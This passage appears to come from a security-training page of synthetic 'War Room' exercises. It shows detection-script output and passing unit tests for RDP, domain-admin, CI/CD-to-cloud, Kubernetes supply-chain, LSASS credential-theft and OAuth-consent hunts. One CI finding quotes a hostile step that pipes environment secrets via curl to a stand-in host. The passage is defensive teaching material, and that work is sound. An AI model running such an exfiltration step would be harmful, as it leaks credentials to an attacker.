[INFO    ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-11T06:17:00Z  detection_fired=False
  H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline

[INFO    ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-17T06:09:00Z  detection_fired=False
  H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline

[INFO    ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-23T06:01:00Z  detection_fired=False
  H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline

[INFO    ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-29T06:18:00Z  detection_fired=False
  H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline
Captured test run (18/18)
test_14_rfc5737_treated_as_external (test_rdp_chain_hunter.TestDetectionAndLateral.test_14_rfc5737_treated_as_external) ... ok
test_15_timeline_is_ordered (test_rdp_chain_hunter.TestDetectionAndLateral.test_15_timeline_is_ordered) ... ok
test_16_powershell_outside_window_does_not_fire (test_rdp_chain_hunter.TestDetectionAndLateral.test_16_powershell_outside_window_does_not_fire) ... ok
test_08_h1_compromised (test_rdp_chain_hunter.TestHypotheses.test_08_h1_compromised) ... ok
test_09_h2_rejected_for_attack (test_rdp_chain_hunter.TestHypotheses.test_09_h2_rejected_for_attack) ... ok
test_10_h3_confirmed (test_rdp_chain_hunter.TestHypotheses.test_10_h3_confirmed) ... ok
test_11_helpdesk_is_legitimate_admin (test_rdp_chain_hunter.TestHypotheses.test_11_helpdesk_is_legitimate_admin) ... ok
test_17_garbage_rows_skipped (test_rdp_chain_hunter.TestRobustness.test_17_garbage_rows_skipped) ... ok
test_18_cli_exit_codes (test_rdp_chain_hunter.TestRobustness.test_18_cli_exit_codes) ... error: [Errno 2] No such file or directory: '/tmp/tmpapa2plh5/missing.csv'
ok
test_01_attack_session_found (test_rdp_chain_hunter.TestTriage.test_01_attack_session_found) ... ok
test_02_failed_attempts_counted (test_rdp_chain_hunter.TestTriage.test_02_failed_attempts_counted) ... ok
test_03_success_timestamp_and_type (test_rdp_chain_hunter.TestTriage.test_03_success_timestamp_and_type) ... ok
test_04_baseline_says_user_never_rdps (test_rdp_chain_hunter.TestTriage.test_04_baseline_says_user_never_rdps) ... ok
test_05_privileges_and_powershell (test_rdp_chain_hunter.TestTriage.test_05_privileges_and_powershell) ... ok
test_06_same_ip_other_endpoints (test_rdp_chain_hunter.TestTriage.test_06_same_ip_other_endpoints) ... ok
test_07_internet_exposure_found (test_rdp_chain_hunter.TestTriage.test_07_internet_exposure_found) ... ok

----------------------------------------------------------------------
Ran 18 tests in 0.018s

OK

Files

🟢 SOC War Room · Ghost Admin (DC-02) · 06 Oct 2026

Verdict: H1 COMPROMISED · H2 CONFIRMED · H3 CONFIRMED · 18/18 tests · synthetic data

Identitys.menon (Tier-2 help desk) logged on to DC-02 over NTLM from WKS-FIN-204; 0 Tier-0 logons in 30-day baseline
EscalationAdded to Domain Admins + Administrators 40s after logon; SeDebug/SeEnableDelegation/SeBackup; encoded PowerShell
PersistenceDCSync replication read (4662); new DC service WinSysMon2 (7045); RC4 TGT downgrade
LateralOnward to DC-01 + FS-CORP-01 (SYSVOL) within 2 minutes using the new privilege
DetectionPrivileged Identity Anomaly: unusual DC logon + priv-group add / DCSync / encoded PS ≤15 min → CRITICAL
Senior answerOne privileged logon from an unusual host beats thousands of failed logons — quiet, already holds the keys, DCSync touches every identity

Run it

cd ghost-admin
python3 make_ghostadmin_lab_data.py
python3 ghost_admin_hunter.py ghostadmin_events_SYNTHETIC.csv ghostadmin_context_SYNTHETIC.json
python3 -m unittest test_ghost_admin_hunter -v
Captured analyzer output
==============================================================================
GraySentinel DSOU · Ghost Admin hunt · 1 identity case(s)
==============================================================================

[CRITICAL] s.menon on DC-02 from 10.20.44.204 (WKS-FIN-204)  detection_fired=True
  -- Mission 01 identity --
   normally_privileged    False
   tier                   2
   logon_type             3
   auth_pkg               NTLM
   failed_attempts        12
   tier0_baseline_30d     0
   privileged_group_adds  ['Administrators', 'Domain Admins']
   mfa                    none (on-prem account)
   change_ticket          None
  -- Mission 02 hypotheses --
   H1 COMPROMISED  12 failed logons from same source before success | source 10.20.44.204 (WKS-FIN-204) not an approved admin host | no Tier-0 logon by this user in 30-day baseline | NTLM to a DC (no Kerberos PAC) — credential-relay/theft pattern | account is not normally privileged
   H2 CONFIRMED    added to Administrators, Domain Admins | special privileges: SeBackupPrivilege, SeDebugPrivilege, SeEnableDelegationPrivilege | admin activity right after the privilege change
   H3 CONFIRMED    onward logons: DC-01, FS-CORP-01 | 1 remote share/file access events | directory replication read (DCSync-style) | Kerberos TGT with RC4 downgrade
  -- Mission 04 persistence --
   priv-group adds: ['s.menon→Domain Admins', 's.menon→Administrators']  DCSync: True  new services: ['Service=WinSysMon2;ImagePath=%TEMP%\\wsm2.exe;Start=auto']
  -- lateral movement --
   onward: ['DC-01', 'FS-CORP-01']  shares: 1  kerberos: ['TGT requested; ticket encryption RC4 (downgrade)']
  -- Mission (timeline) --
   2026-10-05 21:10:00Z  4625      first of 12 failed logons from 10.20.44.204
   2026-10-05 21:15:00Z  4624/3    logon s.menon on DC-02 from 10.20.44.204 (AuthPkg=NTLM;no Kerberos PAC)
   2026-10-05 21:15:03Z  4672      privileges: SeDebugPrivilege;SeEnableDelegationPrivilege;SeBackupPrivilege
   2026-10-05 21:15:40Z  4728      s.menon added to Domain Admins
   2026-10-05 21:15:41Z  4732      s.menon added to Administrators
   2026-10-05 21:16:35Z  4688      wsmprovhost.exe → powershell: powershell.exe -NoP -Enc <b64>
   2026-10-05 21:16:35Z  1         wsmprovhost.exe → powershell: powershell.exe -NoP -Enc <b64>
   2026-10-05 21:16:37Z  4104      script block: Get-ADUser -Filter * -Properties memberOf; Get-ADGroupMember 'Domain A
   2026-10-05 21:16:39Z  4662      14 directory-access events incl. replication read
   2026-10-05 21:17:05Z  7045      new service: Service=WinSysMon2;ImagePath=%TEMP%\wsm2.exe;Start=auto
   2026-10-05 21:17:35Z  4624/3    onward logon s.menon on DC-01 from 10.20.0.12
   2026-10-05 21:17:40Z  4624/3    onward logon s.menon on FS-CORP-01 from 10.20.0.12
   2026-10-05 21:17:42Z  5140      FS-CORP-01: Share=\\*\SYSVOL
   2026-10-05 21:17:47Z  4768      TGT requested; ticket encryption RC4 (downgrade)
Captured test run
test_08_h1_compromised (test_ghost_admin_hunter.TestHypotheses.test_08_h1_compromised) ... ok
test_09_h2_privilege_escalation_confirmed (test_ghost_admin_hunter.TestHypotheses.test_09_h2_privilege_escalation_confirmed) ... ok
test_10_h3_lateral_confirmed (test_ghost_admin_hunter.TestHypotheses.test_10_h3_lateral_confirmed) ... ok
test_01_one_case_the_attacker (test_ghost_admin_hunter.TestIdentity.test_01_one_case_the_attacker) ... ok
test_02_target_is_dc (test_ghost_admin_hunter.TestIdentity.test_02_target_is_dc) ... ok
test_03_logon_type_and_ntlm (test_ghost_admin_hunter.TestIdentity.test_03_logon_type_and_ntlm) ... ok
test_04_user_not_normally_privileged (test_ghost_admin_hunter.TestIdentity.test_04_user_not_normally_privileged) ... ok
test_05_failed_attempts_counted (test_ghost_admin_hunter.TestIdentity.test_05_failed_attempts_counted) ... ok
test_06_priv_group_adds (test_ghost_admin_hunter.TestIdentity.test_06_priv_group_adds) ... ok
test_07_no_change_ticket (test_ghost_admin_hunter.TestIdentity.test_07_no_change_ticket) ... ok
test_17_garbage_rows_skipped (test_ghost_admin_hunter.TestRobustness.test_17_garbage_rows_skipped) ... ok
test_18_cli_exit_codes (test_ghost_admin_hunter.TestRobustness.test_18_cli_exit_codes) ... error: [Errno 2] No such file or directory: '/tmp/tmpggam3gyl/nope.csv'
ok

----------------------------------------------------------------------
Ran 18 tests in 0.012s

OK

Files

🟡 Intel War Room · Cloud Token Blackout · 06 Oct 2026

Classification: CI/CD credential theft → cloud takeover · 16/16 tests · synthetic data

CTI answerThe identity, not the app: a long-lived AWS key on a self-hosted runner was abused from a hosting IP
Privilege escalationCreateAccessKey + AttachUserPolicy → AdministratorAccess from 203.0.113.77
Data + secretsGetObject on example-prod-pii + example-db-backups; GetSecretValue prod/db/master
Exfil / persistencePutBucketPolicy Principal:* on a PII bucket; attacker-made key AKIAEXAMPLEN3WKEY99
DetectionSigma: long-lived key off CI ranges + IAM privesc + secret read + public bucket → CRITICAL on ≥2 in 10 min
Senior answerA CI/CD identity (deploy + IAM + secrets) >> one stolen key: bigger data value, persistence, supply-chain ROI

Run it

cd cloud-token-blackout
python3 make_cloud_lab_data.py
python3 ci_cloud_token_hunter.py cloudtrail_SYNTHETIC.csv gh_audit_SYNTHETIC.csv
python3 -m unittest test_ci_cloud_token_hunter -v
Captured analyzer output
==============================================================================
GraySentinel RIU · Cloud Token Blackout — CI/CD credential-abuse intel
==============================================================================
Classification: Supply-chain abuse + cloud takeover
Kill-chain stages observed: collection -> credential access -> credential access / cloud auth -> exfiltration / persistence -> initial access -> persistence -> privilege escalation -> runner compromise

CLOUD FINDINGS:
  [IoC   ] credential access / cloud auth 2026-10-06T01:20:00Z  GetCallerIdentity      203.0.113.77  — IAM user key AKIAEXAMPLE7RUNNER01 from 203.0.113.77 (hosting ASN), non-CI user-agent, no MFA
  [IoC   ] privilege escalation         2026-10-06T01:22:00Z  CreateAccessKey        203.0.113.77  — CreateAccessKey on user/runner-deploy
  [IoC   ] privilege escalation         2026-10-06T01:23:00Z  AttachUserPolicy       203.0.113.77  — AttachUserPolicy on user/runner-deploy
  [IoC   ] collection                   2026-10-06T01:26:00Z  GetObject              203.0.113.77  — GetObject arn:aws:s3:::example-prod-pii
  [IoC   ] collection                   2026-10-06T01:26:20Z  GetObject              203.0.113.77  — GetObject arn:aws:s3:::example-db-backups
  [IoC   ] credential access            2026-10-06T01:27:00Z  GetSecretValue         203.0.113.77  — GetSecretValue prod/db/master
  [IoC   ] exfiltration / persistence   2026-10-06T01:29:00Z  PutBucketPolicy        203.0.113.77  — PutBucketPolicy arn:aws:s3:::example-prod-pii — policy allows Principal:* GetObject
  [REVIEW] persistence                  2026-10-06T01:30:00Z  CreateUser             203.0.113.77  — CreateUser AccessDenied

CI/CD (GitHub) FINDINGS:
  [IoC   ] runner compromise    2026-10-06T01:05:00Z  ex.contractor  203.0.113.77  — added step: env | curl -X POST cdn-sync.example.net
  [IoC   ] initial access       2026-10-06T01:05:00Z  ex.contractor  203.0.113.77  — terminated identity still referenced in automation
  [IoC   ] initial access       2026-10-06T01:08:00Z  ex.contractor  203.0.113.77  — terminated identity still referenced in automation
  [IoC   ] initial access       2026-10-06T01:11:00Z  ex.contractor  203.0.113.77  — terminated identity still referenced in automation
  [IoC   ] credential access    2026-10-06T01:11:00Z  ex.contractor  203.0.113.77  — AWS_* env exposed to step

IoC SUMMARY:
  principals     runner-deploy
  access_keys    AKIAEXAMPLE7RUNNER01
  source_ips     203.0.113.77
  buckets        arn:aws:s3:::example-db-backups, arn:aws:s3:::example-prod-pii
  new_keys       new key AKIAEXAMPLEN3WKEY99 created
  public_buckets arn:aws:s3:::example-prod-pii
Captured test run
ok
test_16_kill_chain_covers_full_path (test_ci_cloud_token_hunter.TestBaselineAndRobustness.test_16_kill_chain_covers_full_path) ... ok
test_01_classification_is_supply_chain (test_ci_cloud_token_hunter.TestCloud.test_01_classification_is_supply_chain) ... ok
test_02_long_key_abuse_flagged_once (test_ci_cloud_token_hunter.TestCloud.test_02_long_key_abuse_flagged_once) ... ok
test_03_privilege_escalation_detected (test_ci_cloud_token_hunter.TestCloud.test_03_privilege_escalation_detected) ... ok
test_04_secret_retrieval_detected (test_ci_cloud_token_hunter.TestCloud.test_04_secret_retrieval_detected) ... ok
test_05_unusual_bucket_access (test_ci_cloud_token_hunter.TestCloud.test_05_unusual_bucket_access) ... ok
test_06_public_bucket_exfil (test_ci_cloud_token_hunter.TestCloud.test_06_public_bucket_exfil) ... ok
test_07_blocked_backdoor_is_review_not_ioc (test_ci_cloud_token_hunter.TestCloud.test_07_blocked_backdoor_is_review_not_ioc) ... ok
test_08_ioc_summary_has_key_and_ip (test_ci_cloud_token_hunter.TestCloud.test_08_ioc_summary_has_key_and_ip) ... ok
test_09_workflow_tamper_detected (test_ci_cloud_token_hunter.TestGitHub.test_09_workflow_tamper_detected) ... ok
test_10_stale_identity_detected (test_ci_cloud_token_hunter.TestGitHub.test_10_stale_identity_detected) ... ok
test_11_ci_secret_exposed (test_ci_cloud_token_hunter.TestGitHub.test_11_ci_secret_exposed) ... ok

----------------------------------------------------------------------
Ran 16 tests in 0.020s

OK

Files

🔴 Red-Team War Room · Broken Pipeline (LAB ONLY) · 06 Oct 2026

Detection-and-analysis only — no exploit code · full chain detected · 16/16 tests · synthetic audit data

ThesisCompromise the CI/CD trust chain so malicious content ships inside a trusted pipeline
ChainStale dev identity → off-hours GitLab run → same tag / NEW unsigned digest → deploy
K8s privescDeploy SA = cluster-admin → lists secrets cluster-wide → kube-system pod with hostPath
CloudPod workload identity (IRSA) → AssumeRole → GetSecretValue (prod DB secret)
Blue detectionUnexpected digest → off-hours push → deploy → new SA activity → cloud API (Sigma + Falco)
Senior answerOwning the trust chain >> one container: better OPSEC, persistence across releases, whole-supply-chain blast radius

Run it

cd broken-pipeline
python3 make_pipeline_lab_data.py
python3 pipeline_chain_analyzer.py pipeline_audit_SYNTHETIC.csv pipeline_context_SYNTHETIC.json
python3 -m unittest test_pipeline_chain_analyzer -v
Captured analyzer output
==============================================================================
GraySentinel SSOU · Broken Pipeline — CI/CD → K8s supply-chain (blue-team view)
==============================================================================
Full chain observed: True
Kill-chain stages: developer identity -> CI/CD abuse -> malicious image / registry -> kubernetes -> cloud access
DFIR sources with evidence: cloud, gitlab, k8s, registry

FINDINGS:
  [IoC   ] developer identity         2026-10-05T21:20:00Z  stale/terminated identity active   — ex.developer (terminated 2026-09-20) still runs pipelines
  [IoC   ] developer identity         2026-10-05T21:22:00Z  stale/terminated identity active   — ex.developer (terminated 2026-09-20) still runs pipelines
  [IoC   ] CI/CD abuse                2026-10-05T21:22:00Z  off-hours pipeline run             — run outside release window
  [IoC   ] malicious image / registry 2026-10-05T21:26:00Z  unexpected image digest            — digest sha256:beef9999untrusted != trusted sha256:aaaa1111trusted
  [IoC   ] malicious image / registry 2026-10-05T21:26:00Z  unsigned / no provenance           — tag :latest reused; NO cosign signature; NO provenance attestation
  [IoC   ] kubernetes                 2026-10-05T21:30:00Z  deploy of non-trusted digest       — deployment pulled a digest that differs from the signed baseline
  [IoC   ] kubernetes                 2026-10-05T21:32:00Z  excessive RBAC used                — payments:deployer: create secrets — SA has cluster-admin via rolebinding (excessive RBAC)
  [IoC   ] kubernetes                 2026-10-05T21:33:00Z  excessive RBAC used                — payments:deployer: list secrets/* — enumerated secrets cluster-wide
  [IoC   ] kubernetes                 2026-10-05T21:34:00Z  workload created in kube-system    — pod requests hostPath mount + SA token (persistence vector)
  [IoC   ] cloud access               2026-10-05T21:38:00Z  workload identity reached cloud    — sts.AssumeRole role/payments-deploy from 203.0.113.90 — workload identity used from pod to reach cloud; first-seen external egress
  [IoC   ] cloud access               2026-10-05T21:40:00Z  workload identity reached cloud    — secretsmanager.GetSecretValue prod/payments/db from 203.0.113.90 — cloud secret read
  [REVIEW] defense evasion            2026-10-05T21:50:00Z  image deleted (audit trail remains) — image removed, but digest persists in k8s + audit logs
Captured test run
ok
test_01_full_chain_observed (test_pipeline_chain_analyzer.TestChain.test_01_full_chain_observed) ... ok
test_02_all_five_stages (test_pipeline_chain_analyzer.TestChain.test_02_all_five_stages) ... ok
test_03_stale_identity (test_pipeline_chain_analyzer.TestChain.test_03_stale_identity) ... ok
test_04_offhours_run (test_pipeline_chain_analyzer.TestChain.test_04_offhours_run) ... ok
test_05_unexpected_digest (test_pipeline_chain_analyzer.TestChain.test_05_unexpected_digest) ... ok
test_06_unsigned_image (test_pipeline_chain_analyzer.TestChain.test_06_unsigned_image) ... ok
test_07_deploy_non_trusted_digest (test_pipeline_chain_analyzer.TestChain.test_07_deploy_non_trusted_digest) ... ok
test_08_excessive_rbac (test_pipeline_chain_analyzer.TestChain.test_08_excessive_rbac) ... ok
test_09_kube_system_workload (test_pipeline_chain_analyzer.TestChain.test_09_kube_system_workload) ... ok
test_10_cloud_access (test_pipeline_chain_analyzer.TestChain.test_10_cloud_access) ... ok
test_11_image_delete_is_review (test_pipeline_chain_analyzer.TestChain.test_11_image_delete_is_review) ... ok
test_12_dfir_sources (test_pipeline_chain_analyzer.TestChain.test_12_dfir_sources) ... ok

----------------------------------------------------------------------
Ran 16 tests in 0.013s

OK

Files

🟢 SOC War Room · Silent Credential Theft (FIN-WS-117) · 08 Oct 2026

Verdict: H1 SUPPORTED · H2 REJECTED · H3 SUPPORTED · correlation 4/4 CRITICAL · 20/20 tests · synthetic data

TriageWINWORD.EXE → unsigned %TEMP%\dbgsvc.exe opens lsass.exe with GrantedAccess 0x1010; 27 of 28 LSASS accesses in 30 days are Defender/EDR (expected)
Authentication6 failed logons → f.rao Type 3 (NTLM) → 4648 explicit credentials for adm.kiran → Type 3 + 4672 on FILE-SRV-03, 4.5 min after the access
Lateral4 RC4 service tickets, 14 reads on Finance$\Payroll, adm.kiran on FIN-WS-121 10 min after the access
H2 controlReal admin logon from PAW-ADMIN-01 with CHG-4471 is scored LEGITIMATE — same account, same server, different source + ticket
DetectionSuspicious LSASS Process Access: memory-read mask + source not on a signed-path allow-list → HIGH; + auth from same host ≤15 min → CRITICAL
Senior answerThe chain beats the single alert: sequence, identity hand-off, process lineage and host relationships exist only in correlation

Run it

cd silent-credential-theft
python3 make_lsass_lab_data.py
python3 lsass_credential_hunter.py lsass_events_SYNTHETIC.csv lsass_context_SYNTHETIC.json
python3 -m unittest test_lsass_credential_hunter -v
Captured analyzer output
==============================================================================
GraySentinel DSOU · Silent Credential Theft hunt · 1 case(s)
==============================================================================
LSASS access events: 28 total · 27 expected (edr-agent.exe, msmpeng.exe) · 1 suspicious

[CRITICAL] FIN-WS-117 (10.20.31.117) session=f.rao  correlation=4/4
  -- Mission 01 triage --
   process                     C:\Users\f.rao\AppData\Local\Temp\dbgsvc.exe
   parent                      C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
   cmdline                     dbgsvc.exe <redacted-synthetic-arguments>
   signed                      false
   hash                        SYNTH-SHA256-0000BADC0FFEE117
   granted_access              0x1010
   lsass_access_ts             2026-10-08T04:10:20Z
   hash_seen_on                ['FIN-WS-117']
   accounts_involved           ['adm.kiran', 'f.rao']
   privileged_accounts         ['adm.kiran']
   failed_logons               6
   successful_type3            3
   explicit_credential_events  1
   edr_alerts                  1
  -- Mission 02 hypotheses --
   H1 SUPPORTED     source image not on the approved LSASS-reader list | binary is unsigned | runs from a user-writable path | GrantedAccess 0x1010 includes PROCESS_VM_READ | unusual parent winword.exe | EDR credential-access alert on the same process | hash first-seen, present on this host only
   H2 REJECTED      no change/incident ticket for the destinations | FIN-WS-117 is not an approved admin source for adm.kiran | admin tools are not spawned by an Office application
   H3 SUPPORTED     explicit credentials (4648) for privileged adm.kiran | new destinations (0 prior logons): FILE-SRV-03, FIN-WS-121 | 14 reads on sensitive share \\FILE-SRV-03\Finance$ | same account on another workstation: FIN-WS-121 | 4 unusual service tickets (RC4 / first-seen SPN) | 6 failed network logons from FIN-WS-117 first
  -- Mission 03 timeline --
   2026-10-08 04:02:10Z  4624/2    f.rao logs on to FIN-WS-117
   2026-10-08 04:10:05Z  4688      winword.exe → dbgsvc.exe (signed=false)
   2026-10-08 04:10:20Z  Sysmon10  dbgsvc.exe accesses lsass.exe GrantedAccess=0x1010
   2026-10-08 04:10:22Z  EDR       EDR: suspicious credential-access behaviour (alert only, not blocked)
   2026-10-08 04:12:30Z  4625      first of 6 failed network logons from FIN-WS-117 (adm.kiran, administrator, svc.finbackup)
   2026-10-08 04:14:50Z  4624/3    f.rao → FILE-SRV-03 (NTLM)
   2026-10-08 04:15:20Z  4648      f.rao uses explicit credentials for adm.kiran@FILE-SRV-03
   2026-10-08 04:15:25Z  4624/3    adm.kiran → FILE-SRV-03 (NTLM)
   2026-10-08 04:15:26Z  4672      adm.kiran on FILE-SRV-03: SeBackupPrivilege;SeDebugPrivilege;SeTakeOwnershipPrivilege
   2026-10-08 04:15:40Z  4769      4 service tickets: cifs/FILE-SRV-03, MSSQLSvc/SQL-FIN-01:1433, cifs/FILE-SRV-02, HOST/FIN-WS-121
   2026-10-08 04:17:05Z  5145      14 file reads on \\FILE-SRV-03\Finance$ by adm.kiran
   2026-10-08 04:20:25Z  4624/3    adm.kiran → FIN-WS-121 (NTLM)
   2026-10-08 04:20:26Z  4672      adm.kiran on FIN-WS-121: SeDebugPrivilege;SeBackupPrivilege
  -- Mission 05 scope: investigate next --
   1. FIN-WS-117 (source — isolate, preserve memory + Sysmon/EDR)
   2. DC-01 (Domain Controller — 4768/4769/4776 for adm.kiran, f.rao)
   3. FILE-SRV-03 (File Server — logons by adm.kiran, f.rao)
   4. FIN-WS-121 (Workstation — logons by adm.kiran)
   5. FILE-SRV-02 (service ticket requested — check for a later logon)
   6. SQL-FIN-01 (service ticket requested — check for a later logon)
  -- Mission 07 correlation --
   A_lsass_access=YES  B_type3_to_server=YES  C_other_workstation=YES  D_sensitive_share=YES
   gaps: A→B 4.5 min · A→C 10.1 min

  -- H2 control: privileged logons NOT from a flagged host --
   2026-10-05T06:10:00Z  adm.kiran → FIN-WS-117 from PAW-ADMIN-01  ticket=None  LEGITIMATE
   2026-10-06T05:00:00Z  adm.kiran → FILE-SRV-03 from PAW-ADMIN-01  ticket=CHG-4471  LEGITIMATE
Captured test run
test_18_baseline_only_is_clean (test_lsass_credential_hunter.TestBaselineAndRobustness.test_18_baseline_only_is_clean) ... ok
test_19_malformed_rows_skipped (test_lsass_credential_hunter.TestBaselineAndRobustness.test_19_malformed_rows_skipped) ... ok
test_20_cli_exit_codes (test_lsass_credential_hunter.TestBaselineAndRobustness.test_20_cli_exit_codes) ... ok
test_08_h1_supported (test_lsass_credential_hunter.TestHypotheses.test_08_h1_supported) ... ok
test_09_h2_rejected_no_ticket_non_paw (test_lsass_credential_hunter.TestHypotheses.test_09_h2_rejected_no_ticket_non_paw) ... ok
test_10_h3_supported_with_explicit_creds (test_lsass_credential_hunter.TestHypotheses.test_10_h3_supported_with_explicit_creds) ... ok
test_11_privileged_account_involved (test_lsass_credential_hunter.TestHypotheses.test_11_privileged_account_involved) ... ok
test_12_legit_admin_from_paw_is_legitimate (test_lsass_credential_hunter.TestHypotheses.test_12_legit_admin_from_paw_is_legitimate) ... ok
test_13_new_destinations (test_lsass_credential_hunter.TestLateralAndCorrelation.test_13_new_destinations) ... ok
test_14_sensitive_share_and_kerberos (test_lsass_credential_hunter.TestLateralAndCorrelation.test_14_sensitive_share_and_kerberos) ... ok
test_15_full_correlation_is_critical (test_lsass_credential_hunter.TestLateralAndCorrelation.test_15_full_correlation_is_critical) ... ok
test_16_lsass_alone_is_only_medium (test_lsass_credential_hunter.TestLateralAndCorrelation.test_16_lsass_alone_is_only_medium) ... ok
test_17_scope_order_source_dc_server_workstation (test_lsass_credential_hunter.TestLateralAndCorrelation.test_17_scope_order_source_dc_server_workstation) ... ok
test_01_exactly_one_case (test_lsass_credential_hunter.TestTriageAndDetection.test_01_exactly_one_case) ... ok
test_02_process_and_parent_identified (test_lsass_credential_hunter.TestTriageAndDetection.test_02_process_and_parent_identified) ... ok
test_03_signature_hash_mask (test_lsass_credential_hunter.TestTriageAndDetection.test_03_signature_hash_mask) ... ok
test_04_defender_and_edr_not_flagged (test_lsass_credential_hunter.TestTriageAndDetection.test_04_defender_and_edr_not_flagged) ... ok
test_05_lsass_existing_alone_never_alerts (test_lsass_credential_hunter.TestTriageAndDetection.test_05_lsass_existing_alone_never_alerts) ... ok
test_06_approved_path_but_unsigned_is_not_expected (test_lsass_credential_hunter.TestTriageAndDetection.test_06_approved_path_but_unsigned_is_not_expected) ... ok
test_07_query_only_mask_by_unknown_signed_tool_is_review (test_lsass_credential_hunter.TestTriageAndDetection.test_07_query_only_mask_by_unknown_signed_tool_is_review) ... ok

----------------------------------------------------------------------
Ran 20 tests in 0.030s

OK

Files

🟡 Intel War Room · Consent Trap (OAuth consent abuse) · 08 Oct 2026

Assessment: identity-based intrusion via OAuth consent · confidence HIGH · attribution NONE · 20/20 tests · synthetic data

AnswerNot a legitimate SaaS: first-seen app, unverified publisher, Mail + Files + offline_access by user consent, then foreign API activity and a second victim
Hunt table08:42 consent SUSPICIOUS · 08:49 API SUSPICIOUS · 09:03 mailbox from DE HIGH · 09:07 files HIGH · 09:21 second user HIGH · 09:31 multi-user HIGH
Exposure340 mail items + 23 treasury/board files for finance.user; consent → first data access in 21 minutes
IoCsApplication ID (hunt the ID, not the name), unverified publisher, redirect domain, calling IP, scope set, lure clicks tied by client_id
Strongest controlAt consent: restrict user consent + admin-consent workflow stops every lure and every future app name
Senior answerOAuth abuse is harder to detect, malware is harder to prevent — endpoint detection for A, consent governance + identity hunting for B

Run it

cd consent-trap
python3 make_consent_lab_data.py
python3 oauth_consent_hunter.py cloud_audit_SYNTHETIC.csv consent_context_SYNTHETIC.json
python3 -m unittest test_oauth_consent_hunter -v
Captured analyzer output
==============================================================================
GraySentinel RIU · Consent Trap — OAuth consent abuse hunt
==============================================================================
Assessment: IDENTITY-BASED INTRUSION VIA OAUTH CONSENT (campaign: multiple users)
Confidence: HIGH · Attribution: none — no evidence ties this to a named actor
Affected users: finance.user, hr.user

CLOUD APPLICATION COMPROMISE HUNT TABLE (activity after each app's first consent; times IST)
  01 Jun 11:30:00  NORMAL         it.admin      Example Expense Cloud         Consent to application     — approved application
  07 Oct 11:30:00  NORMAL         it.admin      TeamBoard Planner             Consent to application     — approved application
  08 Oct 08:15:00  NORMAL         sales.user    Example PDF Reader            Consent to application     — verified publisher, low-risk scope only (User.Read)
  08 Oct 08:42:11  SUSPICIOUS     finance.user  Secure Document Verification  Consent to application     — not on the approved-application list; first-seen application in the tenant; publisher not verified; high-risk data scopes: Files.Read.All, Mail.ReadBasic
  08 Oct 08:49:32  SUSPICIOUS     finance.user  Secure Document Verification  API request ×12            — 7 min after consent; source 203.0.113.45 in DE — user baseline IN
  08 Oct 09:03:18  HIGH PRIORITY  finance.user  Secure Document Verification  MailItemsAccessed ×340     — 21 min after consent; source 203.0.113.45 in DE — user baseline IN; 340 mail items via app token (non-interactive)
  08 Oct 09:07:42  HIGH PRIORITY  finance.user  Secure Document Verification  FileAccessed ×15           — 26 min after consent; source 203.0.113.45 in DE — user baseline IN; 15 files on 'Finance-Treasury' — site outside the user's 30-day baseline
  08 Oct 09:07:58  HIGH PRIORITY  finance.user  Secure Document Verification  FileDownloaded ×8          — 26 min after consent; source 203.0.113.45 in DE — user baseline IN; 8 files on 'Board-Packs' — site outside the user's 30-day baseline
  08 Oct 09:21:11  HIGH PRIORITY  hr.user       Secure Document Verification  Consent to application     — second user consenting to the same app (after finance.user); not on the approved-application list; first-seen application in the tenant; publisher not verified; high-risk data scopes: Files.Read.All, Mail.ReadBasic
  08 Oct 09:31:52  HIGH PRIORITY  finance.user  Secure Document Verification  API request ×55            — 50 min after consent; source 203.0.113.45 in DE — user baseline IN; same app active for 2 users
  08 Oct 09:31:52  HIGH PRIORITY  hr.user       Secure Document Verification  API request ×31            — 11 min after consent; source 203.0.113.45 in DE — user baseline IN; same app active for 2 users
  (+ 23 NORMAL activity rows of approved applications not listed)

APPLICATION RISK PROFILE
  Example Expense Cloud [0e0e0000-0000-4000-8000-00000000e1e1] publisher=Example Expense Inc verified=True risk_attributes=0 users=['it.admin']
  TeamBoard Planner [7b7b0000-0000-4000-8000-00000000b0a2] publisher=TeamBoard Software GmbH verified=True risk_attributes=0 users=['it.admin']
  Example PDF Reader [9d9d0000-0000-4000-8000-00000000d0f3] publisher=Example PDF Corp verified=True risk_attributes=2 users=['sales.user']
     - not on the approved-application list
     - first-seen application in the tenant
  Secure Document Verification [5d0c0000-0000-4000-8000-00000000c7a9] publisher=SecureDocs Verification Ltd verified=False risk_attributes=7 users=['finance.user', 'hr.user']
     - not on the approved-application list
     - first-seen application in the tenant
     - publisher not verified
     - high-risk data scopes: Files.Read.All, Mail.ReadBasic
     - offline_access = access survives the session (refresh token)
     - granted by end-user consent, not admin review
     - generic trust-bait name (secure, verification, document)

DETECTION HYPOTHESIS — new OAuth consent followed by unusual cloud activity
  fired=True  finance.user → Secure Document Verification  consent 2026-10-08T03:12:11Z  first API +7.3 min  first data +21.1 min  countries=['DE']  api=67 mail=340 files=23 new_sites=['Board-Packs', 'Finance-Treasury']
  fired=True  hr.user → Secure Document Verification  consent 2026-10-08T03:51:11Z  first API +10.7 min  first data +None min  countries=['DE']  api=31 mail=0 files=0 new_sites=[]

INDICATORS
  application_name       Secure Document Verification
  application_id         5d0c0000-0000-4000-8000-00000000c7a9
  publisher              SecureDocs Verification Ltd
  redirect_uri_domains   ['secure-docverify.example.net']
  domains                ['secure-docverify.example.net']
  related_domains_osint  ['hr-docverify.example.org', 'secure-docsign.example.net']
  source_ips             ['203.0.113.45']
  countries              ['DE']
  permissions            ['Files.Read.All', 'Mail.ReadBasic', 'User.Read', 'offline_access']
  consenting_users       ['finance.user', 'hr.user']

DELIVERY (lure clicks carrying the same client_id)
  2026-10-08T03:11:30Z  finance.user  https://secure-docverify.example.net/share/Q3-audit-confirmation
  2026-10-08T03:49:40Z  hr.user       https://secure-docverify.example.net/share/policy-acknowledgement

REVOKE FIRST
